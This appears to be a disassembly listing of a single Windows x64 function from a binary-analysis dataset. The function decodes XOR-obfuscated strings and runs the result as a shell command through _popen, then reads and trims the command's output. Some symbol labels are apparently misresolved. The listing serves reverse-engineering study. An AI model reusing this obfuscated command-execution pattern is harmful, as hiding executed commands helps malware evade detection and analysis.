Function at 0x140020700
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x250
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1401eb7c0]
xor rax, rsp
mov qword [rbp + 0x130], rax
mov r14, rcx
mov qword [rsp + 0x30], rcx
xor esi, esi
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
xor r8d, r8d
lea rdx, [0x140103a86]
lea rcx, [rbp - 0x70]
call fcn.14006d460
nop
movzx eax, word [0x1401d6b48]
mov word [rsp + 0x30], ax
movups xmm0, xmmword [0x1401d6d48]
movups xmm1, xmmword [0x1401d6d58]
mov eax, dword [0x1401d6d70]
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm1
mov dword [rsp + 0x60], eax
movsd xmm0, qword [0x1401d6d68]
movzx eax, word [0x1401d6d74]
movsd qword [rsp + 0x58], xmm0
mov word [rsp + 0x64], ax
movzx eax, byte [0x1401d6d76]
mov byte [rsp + 0x66], al
cmp byte [0x1401d6b49], sil
je 0x1400207ce
mov byte [rsp + 0x30], WSAStartup
xor byte [rsp + 0x31], 0x33
mov r8d, esi
movdqa xmm6, xmmword [0x1401d9da0]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14002090f
movdqa xmm4, xmmword [0x1401d9d20]
movdqa xmm3, xmmword [0x1401d9f10]
movdqa xmm5, xmmword [0x1401d9d40]
movdqa xmm0, xmmword [0x1401d9e10]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x3c]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140020820
cmp r8d, 0x2f
jge 0x140020953
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140020920
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
jne 0x140020ac1
mov eax, dword [0x1401d6ef8]
mov dword [rsp + 0x30], eax
cmp byte [0x1401d6efb], dil
je 0x140020a43
cmp ebx, 2
jl 0x1400209fe
movdqa xmm3, xmmword [0x1401d9d20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1401d9f10]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1401d9f10]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401d9d40]
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x1401d9e10]
movd xmm0, eax
xorps xmm3, xmm0
movd dword [rsp + 0x30], xmm3
jmp 0x140020a43
lea r9, [rsp + 0x30]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140020a10
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], rsi
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140020a60
mov r8, rbx
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.14006d460
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140020ef6
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020ab7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020ab7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e6550
jmp 0x140020ef6
mov r8, rdi
mov edx, 0x80
lea rcx, [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
mov rbx, 0xffffffffffffffff
test rax, rax
je 0x140020b24
lea rax, [rbp + 0xb0]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140020af0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x70]
call fcn.140065cc0
mov r8, rdi
mov edx, 0x80
lea rcx, [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140020ae2
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
lea rsi, [rbp - 0x70]
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
cmova rsi, r8
add rsi, qword [rbp - 0x60]
lea rdi, [rbp - 0x70]
cmp rdx, 0xf
cmova rdi, r8
add rdi, qword [rbp - 0x60]
lea rcx, [rbp - 0x70]
cmp rdx, 0xf
cmova rcx, r8
mov r8b, 0xa
mov rdx, rdi
call fcn.140084990
mov r8, rax
cmp rax, rdi
je 0x140020b95
lea rcx, [rax + 1]
cmp rcx, rdi
je 0x140020b95
nop dword [rax]
movzx eax, byte [rcx]
cmp al, 0xa
je 0x140020b8d
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rdi
jne 0x140020b80
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rax, qword [rbp - 0x70]
mov r9, r8
sub r9, rax
sub rsi, r8
mov rdi, qword [rbp - 0x60]
mov rax, rdi
sub rax, r9
cmp rax, rsi
cmovb rsi, rax
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rcx, qword [rbp - 0x70]
add rcx, r9
sub rdi, rsi
mov r8, rdi
sub r8, r9
inc r8
lea rdx, [rcx + rsi]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x60], rdi
mov eax, dword [str.gfq6]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x1401d8e7c]
mov byte [rsp + 0x30], 0x55
xor byte [rsp + 0x31], 0x33
xor byte [rsp + 0x32], 0x34
xor byte [rsp + 0x33], 0x35
xor al, 0x36
mov byte [rsp + 0x34], al
lea rcx, [rsp + 0x30]
mov rax, rbx
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140020c20
lea rcx, [rbp - 0x70]
mov r12, qword [rbp - 0x70]
mov r13, qword [rbp - 0x58]
cmp r13, 0xf
cmova rcx, r12
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
mov rdx, rdi
call fcn.14006d0c0
mov rsi, rax
cmp rax, rbx
je 0x140020d38
mov ecx, dword [str.gfq6]
mov dword [rsp + 0x30], ecx
movzx ecx, byte [0x1401d8e7c]
mov byte [rsp + 0x30], 0x55
xor byte [rsp + 0x31], 0x33
xor byte [rsp + 0x32], 0x34
xor byte [rsp + 0x33], 0x35
xor cl, 0x36
mov byte [rsp + 0x34], cl
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rsp + 0x30]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140020ca0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.14006d460
nop
mov rdx, qword [rbp - 0x80]
add rdx, rsi
mov rdi, qword [rbp - 0x60]
cmp rdi, rdx
cmovb rdx, rdi
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rcx, qword [rbp - 0x70]
sub rdi, rdx
lea r8, [rdi + 1]
add rdx, rcx
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x60], rdi
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140020d30
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020d27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020d27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e6550
mov rdi, qword [rbp - 0x60]
mov r12, qword [rbp - 0x70]
mov r13, qword [rbp - 0x58]
lea r15, [rbp - 0x70]
cmp r13, 0xf
cmova r15, r12
lea rsi, [0x140103b0c]
test rdi, rdi
je 0x140020da6
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp - 0x50]
call fcn.1400e773e
mov rcx, rsi
lea r12, [0x140103b0e]
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rbp + rax - 0x50], 1
inc rcx
cmp rcx, r12
jne 0x140020d70
lea rcx, [rdi + r15]
mov rdx, r15
cmp r15, rcx
mov r12, qword [rbp - 0x70]
jae 0x140020da6
movzx eax, byte [rdx]
cmp byte [rbp + rax - 0x50], 0
je 0x140020e47
inc rdx
cmp rdx, rcx
jb 0x140020d90
mov rdx, rbx
cmp rdi, rdx
cmovb rdx, rdi
lea rcx, [rbp - 0x70]
cmp r13, 0xf
cmova rcx, r12
sub rdi, rdx
lea r8, [rdi + 1]
add rdx, rcx
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x60], rdi
lea r15, [rbp - 0x70]
mov r12, qword [rbp - 0x70]
mov r13, qword [rbp - 0x58]
cmp r13, 0xf
cmova r15, r12
test rdi, rdi
je 0x140020e4f
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp - 0x50]
call fcn.1400e773e
lea rcx, [0x140103b0e]
movzx eax, byte [rsi]
mov byte [rbp + rax - 0x50], 1
inc rsi
cmp rsi, rcx
jne 0x140020e00
lea rax, [rdi - 1]
mov rcx, rbx
cmp rax, rbx
cmovb rcx, rax
add rcx, r15
movzx eax, byte [rcx]
cmp byte [rbp + rax - 0x50], 0
je 0x140020e42
nop dword [rax + rax]
cmp rcx, r15
je 0x140020e4f
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax - 0x50], 0
jne 0x140020e30
sub rcx, r15
jmp 0x140020e52
sub rdx, r15
jmp 0x140020da9
mov rcx, rbx
inc rcx
cmp rdi, rcx
jb 0x140020f2e
mov qword [rbp - 0x60], rcx
lea rax, [rbp - 0x70]
cmp r13, 0xf
cmova rax, r12
mov byte [rax + rcx], 0
mov rbx, qword [rbp - 0x60]
test rbx, rbx
je 0x140020ee5
lea rax, [rbp - 0x70]
mov rcx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x58]
cmp r8, 0xf
cmova rax, rcx
cmp byte [rax], 0xd
jne 0x140020ee5
lea r9, [rbp - 0x70]
cmp r8, 0xf
cmova r9, rcx
lea rax, [rbp - 0x70]
cmova rax, rcx
sub r9, rax
mov rax, rbx
sub rax, r9
mov edx, 1
cmp rax, rdx
cmovb rdx, rax
lea rax, [rbp - 0x70]
cmp r8, 0xf
cmova rax, rcx
lea rcx, [rax + r9]
sub rbx, rdx
mov r8, rbx
sub r8, r9
inc r8
add rdx, rcx
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x60], rbx
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [r14], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [r14 + 0x10], xmm1
mov rax, r14
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.1400e6530
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400699c0
nop
int3